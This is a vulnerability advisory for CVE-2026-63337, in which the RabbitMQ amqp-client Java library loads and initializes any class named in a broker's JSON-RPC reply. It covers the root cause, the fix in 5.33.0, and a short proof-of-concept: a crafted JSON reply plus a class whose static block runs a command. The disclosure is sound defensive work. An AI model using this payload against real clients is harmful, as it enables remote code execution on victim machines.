highCVE-2026-63337Aug 18, 2026

CVE-2026-63337: RabbitMQ amqp-client Unsafe Reflection via JSON-RPC javaReturnType

Rohit Hatagale
AI Security Researcher, SecureLayer7

A malicious RabbitMQ broker or co-tenant can send a crafted JSON-RPC service description that causes the Java client to load and initialize arbitrary classes on the victim's JVM, potentially…

Packagecom.rabbitmq:amqp-client
Ecosystemmaven
Affected< 5.33.0
Fixed in5.33.0
CVE-2026-63337: RabbitMQ amqp-client Unsafe Reflection via JSON-RPC javaReturnType

The problem

The JSON-RPC tools in com.rabbitmq.tools.jsonrpc pass the javaReturnType field, received from an untrusted AMQP message, directly to Class.forName() with initialize=true and no allowlist check.

When a JsonRpcClient calls system.describe, the server response controls javaReturnType. An attacker who controls the broker, shares a multi-tenant broker, or can perform a MITM on the AMQP channel can inject any class name. Java's Class.forName() with initialize=true runs the class's static initializers immediately, turning class loading into remote code execution.

Proof of concept

A working proof-of-concept for CVE-2026-63337 in com.rabbitmq:amqp-client, with the exact payload below.

json
// Attacker-controlled system.describe reply over AMQP:
{
  "id": 1,
  "result": {
    "name": "myService",
    "id": "urn:uuid:evil",
    "summary": "pwn",
    "procs": [
      {
        "name": "doSomething",
        "params": [],
        "return": {
          "name": "return",
          "type": "str",
          "javaReturnType": "com.example.MaliciousClass"
        },
        "summary": ""
      }
    ]
  }
}

// Victim-side effect when JSONUtil.tryFill() processes the response:
// ProcedureDescription.setJavaReturnType("com.example.MaliciousClass")
//   -> computeReturnTypeAsJavaClass()
//     -> Class.forName("com.example.MaliciousClass", true, classLoader)
//        ^^ initialize=true fires static initializer on victim JVM
public class MaliciousClass {
  static {
    Runtime.getRuntime().exec("calc.exe"); // executes in victim JVM
  }
}

The root cause is CWE-470: use of externally-controlled input to select classes. ProcedureDescription.java calls Class.forName(javaReturnType) with the default initialize=true, meaning any class on the victim's classpath can have its static block executed purely by naming it in the AMQP response JSON.

The patch (PRs #2000 and #2002, commit 0032f75) introduced an allowlist of permitted return types. Only class names on that allowlist can pass through to Class.forName, so arbitrary attacker-supplied names are rejected before reflection occurs.

The loaded class reference is also passed to mapper.parse() at JsonRpcClient.java:168, making this a potential type-confusion path as well, but the static initializer execution is the primary RCE vector.

The fix

Upgrade com.rabbitmq:amqp-client to 5.33.0 or later. The fix adds an allowlist for permitted javaReturnType class names in ProcedureDescription; class names not on the allowlist are rejected before Class.forName is called. If you cannot upgrade immediately, avoid using JsonRpcClient against untrusted or shared brokers.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research